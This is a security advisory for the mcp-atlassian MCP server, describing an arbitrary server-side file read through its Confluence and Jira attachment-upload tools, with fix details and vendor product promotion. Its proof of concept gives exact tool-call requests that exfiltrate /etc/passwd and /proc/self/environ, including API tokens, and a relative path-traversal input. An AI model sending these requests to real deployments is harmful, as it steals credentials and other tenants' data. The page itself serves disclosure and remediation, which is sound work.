GHSA-wm45-qh3g-v83f
HIGHmcp-atlassian: Arbitrary server-side file read via attachment upload
Blast Radius
mcp-atlassianReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A client that can invoke MCP tools can read arbitrary files from the server host and exfiltrate them as Atlassian attachments. The attachment-upload tools take a client-supplied file_path and open() it on the server's filesystem.
The upload tools are meant to attach a file from the caller's environment — the client supplies a path expecting it to refer to its own machine. Over a remote transport (HTTP/SSE) that path is instead resolved and read on the server, and the tool offers no way for the client to send file content in place of a server-side path. A remote client therefore reads the server's files — and, in multi-tenant deployments, other tenants' data — instead of its own. (In a local stdio deployment the server runs as the user, so the path refers to the user's own files and reading any path is the intended behavior; the exposure is specific to remote/multi-user transports.)
Details
The upload tools read a client-supplied path directly on the server:
src/mcp_atlassian/confluence/attachments.py—upload_attachment→_upload_attachment_direct→os.path.abspath(file_path)→open(file_path, "rb")src/mcp_atlassian/jira/attachments.py—upload_attachment→os.path.abspath(file_path)→open(file_path, "rb")
os.path.abspath() only normalizes the path; the file is then opened on the server wherever it points and its bytes are sent to Atlassian as an attachment. There is no path a client can use to reference its own filesystem, and no option to upload raw content instead of a server-side path.
Client-reachable entry points that hit these sinks:
confluence_upload_attachment→ConfluenceFetcher.upload_attachment. Thefile_pathfield is documented as "absolute … or relative to the current working directory."confluence_upload_attachments→ loops over the same sink.jira_update_issue— itsattachmentsparameter (JSON array or comma-separated list of paths) flows throughIssuesMixin.update_issue→self.upload_attachments→ the Jira sink. There is no standalonejira_upload_attachmenttool;jira_update_issueis the only Jira entry point.
PoC
Local reproduction
Extract traversal_upload_attachment_file_read.zip:
# Fill credentials in docker-compose.yml; set CONFLUENCE_PAGE_ID / JIRA_ISSUE_KEY in poc.sh
docker compose up -d # mcp-atlassian, streamable-http, 0.0.0.0, READ_ONLY_MODE=false
./poc.sh # exits 0 on success
Requires Docker, curl, jq, and an Atlassian Cloud site with a Confluence page and a Jira issue (free tier works). The script runs the steps below and confirms the
/etc/passwdround-trip. Planted attachments are intentionally left in place so they can be confirmed in the Atlassian UI.
All calls are issued against the HTTP transport with READ_ONLY_MODE=false (the default).
Step 1 — read /etc/passwd from the server via Confluence upload:
req → tools/call confluence_upload_attachment
{ "content_id": "<PAGE_ID>", "file_path": "/etc/passwd" }
← { "message": "Attachment uploaded successfully",
"attachment": { "success": true, "filename": "passwd", "id": "att<...>" } }
Step 2 — retrieve the exfiltrated content back through MCP (round-trip proves a real read):
req → tools/call confluence_download_attachment { "attachment_id": "att<...>" }
← base64 resource decoding to:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
Step 3 — same primitive via the Jira entry point (second sink):
req → tools/call jira_update_issue
{ "issue_key": "<ISSUE_KEY>", "fields": "{}", "attachments": "/etc/passwd" }
← { "attachment_results": { ... "success": true ... } }
Step 4 — credential disclosure via /proc/self/environ:
req → tools/call confluence_upload_attachment
{ "content_id": "<PAGE_ID>", "file_path": "/proc/self/environ" }
← success; the resulting "environ" attachment contains the server's env,
including JIRA_API_TOKEN / CONFLUENCE_API_TOKEN.
(os.path.getsize reports 0 for procfs, but the upload transmits the real content — the attachment shows ~1 kB in the Confluence UI.)
Step 5 — relative traversal accepted (no containment):
req → tools/call confluence_upload_attachment
{ "content_id": "<PAGE_ID>", "file_path": "../../../../etc/hostname" }
← success — relative paths are resolved and read on the server just like absolute ones.
The uploaded files (passwd, environ, hostname) appear as real attachments on the Confluence page, confirming the server read them off its own host.
Impact
Any client that can invoke the upload tools can exfiltrate arbitrary files readable by the server process (e.g. /etc/passwd, /proc/self/environ, application config, key material). Uploading /proc/self/environ discloses the server's environment variables — including the configured JIRA_API_TOKEN / CONFLUENCE_API_TOKEN — i.e. the server process's own Atlassian credentials and any other secrets on the host. In a multi-tenant HTTP deployment this also breaks tenant isolation: one client reads files belonging to the deployment or to other tenants.
The security impact concentrates in remote / HTTP-transport deployments (sse, streamable-http, default bind 0.0.0.0), where the file_path resolves on the server host rather than the client's. In a single-user stdio deployment the path refers to the user's own machine, so there is no boundary crossing.
Credit
Discovered by Francisco Rosales of Manifold Security
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | mcp-atlassian | all versions | 0.22.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mcp-atlassian. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update mcp-atlassian to 0.22.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-wm45-qh3g-v83f is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-wm45-qh3g-v83f is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-wm45-qh3g-v83f. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-wm45-qh3g-v83f in your dependencies?
O3 detects GHSA-wm45-qh3g-v83f across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.